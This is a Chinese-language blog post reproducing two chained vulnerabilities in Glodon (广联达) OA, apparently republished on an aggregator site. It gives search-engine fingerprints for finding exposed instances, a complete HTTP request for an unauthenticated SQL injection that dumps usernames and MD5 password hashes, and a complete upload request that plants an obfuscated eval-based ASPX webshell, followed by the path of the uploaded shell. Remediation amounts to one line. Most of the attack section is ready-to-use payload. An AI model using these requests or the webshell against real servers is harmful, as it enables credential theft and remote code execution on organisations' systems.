当前位置: 首页 > news >正文

广联达OA前台sql注入+后台文件上传漏洞复现分析

文章目录

  • 前言
  • 资产特征
  • 前台sql注入
  • 后台文件上传
  • 解决办法

前言

最近看到广联达OA的前端sql注入和后端文件上传漏洞联动的poc

广联达科技股份有限公司以建设工程领域专业应用为核心基础支撑,提供一百余款基于“端+云+大数据”产品/服务,提供产业大数据、产业新金融等增值服务的数字建筑平台服务商。

广联达协同办公管理平台其实之前听得比较少,查了下公司资料,怪不得都是建工类的公司在用

资产特征

鹰图:web.body=“/Services/Identification/Server/”

fofa :“/Services/Identification/Server/“或者fid=”/yV4r5PdARKT4jaqLjJYqw==”

前台sql注入

下面先来看一下poc

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host: xxx.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://xxx.com:8888/Services/Identification/Server/Incompatible.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

根据这个poc可以看到,漏洞存在的路径为/Webservice/IM/Config/ConfigService.asmx/GetIMDictionary,先来看看这个地址上面有什么
在这里插入图片描述
在这里插入图片描述
基本上就是报错提示缺少参数值,那么注入点应该就是这里了

可以看到poc的正文为
dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --
查询key值通过'就绕过了,执行后面的sql语句

这个查询语句是一个SQL语句,它的作用是从"T_ORG_USER"表中选择前1812行数据,并返回一个结果集。

具体来说,这个查询语句使用了UNION
ALL操作符来合并两个SELECT语句的结果集。第一个SELECT语句是固定的,它返回一个名为"dasdas"的列,并且该列的值为"&key=1’"。第二个SELECT语句使用了TOP
1812来限制结果集的行数,然后使用CONCAT函数将"F_CODE"和"F_PWD_MD5"两个字段的值连接起来作为结果集中的一列。

总结起来,这个查询语句的目的是从"T_ORG_USER"表中获取前1812行数据,并返回一个包含"dasdas"列和连接后的"F_CODE:F_PWD_MD5"列的结果集。

那么来看一下会有什么响应吧
在这里插入图片描述
可以看到在result的value里面,会将用户名和密码的md5值通过:连接回显出来

可以去解md5的平台将管理员的密码解出来,当然不是白解的
在这里插入图片描述
登陆进来后是下图
在这里插入图片描述

后台文件上传

同样先上poc

POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Cookie: 登录后的cookie------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
Content-Type: application/text<%@ Page Language="Jscript" Debug=true%>
<%
var FRWT='XeKBdPAOslypgVhLxcIUNFmStvYbnJGuwEarqkifjTHZQzCoRMWD';
var GFMA=Request.Form("qmq1");
var ONOQ=FRWT(19) + FRWT(20) + FRWT(8) + FRWT(6) + FRWT(21) + FRWT(1);
eval(GFMA, ONOQ);
%>------WebKitFormBoundaryFfJZ4PlAZBixjELj--

首先找一下漏洞位置,可以看到是一个附件上传的地方,并且会返回result,应该会返回地址
在这里插入图片描述
来看一下poc会响应什么
在这里插入图片描述

可以看到上传后的文件名为0fc5eab1-03f0-4249-882d-7533247532b0-123.aspx

那么这个文件上传到的地址为哪里?

/GTP/IM/Services/Group/Upload/0fc5eab1-03f0-4249-882d-7533247532b0-123.aspx
在这里插入图片描述
注意上传webshell的时候要传aspx马

解决办法

打补丁、升级版本
在这里插入图片描述

http://www.lryc.cn/news/125989.html

相关文章:

  • No view found for id 0x7f0901c3 for fragment解决以及线上bug排查技巧
  • 腾讯云CVM服务器竞价实例是什么?和按量计费有什么区别?
  • Kali Linux助您网络安全攻防实战
  • JavaEE初阶:多线程 - 编程
  • 一种多策略下RabbitMQ的延时队列实现
  • 解密 AI 客服;在不同硬件设备上运行大型语言模型的可能性
  • 问题:【IntelliJ IDEA】解决idea自动声明变量加finall修饰符问题
  • SpringBoot基于Zookeeper实现分布式锁
  • AT89C51单片机实现单片机串口互动(中断方式,单片机--单片机,应答)
  • 九耶丨阁瑞钛伦特-请说说你在工作中的PRD文档是如何撰写的?
  • Android免打包多渠道统计如何实现
  • Apipost CICD怎么配置?
  • utf-8和utf-8 mb4区别
  • 考研 408 | 【计算机网络】 应用层
  • 设计模式-单例
  • mysql截取最后一个字符之前的数据
  • Flutter 中,ListView 中需要放置 ListView 需要怎么处理才高效?
  • Appium Desktop安装
  • Open3D 最小二乘拟合平面(SVD分解法)
  • Pytorch源码搜索与分析
  • 运维监控学习笔记9
  • gulimall-缓存-缓存使用
  • 概述、搭建Redis服务器、部署LNP+Redis、创建Redis集群、连接集群、集群工作原理
  • redis数据类型与底层数据结构对应关系
  • SpringBoot请求响应
  • 功能上新|全新GPU性能优化方案
  • 试岗第一天问题
  • 2023-08-15力扣每日一题
  • Java单例模式详解(五种实现方式)
  • 【javaweb】学习日记Day1 - HTML CSS入门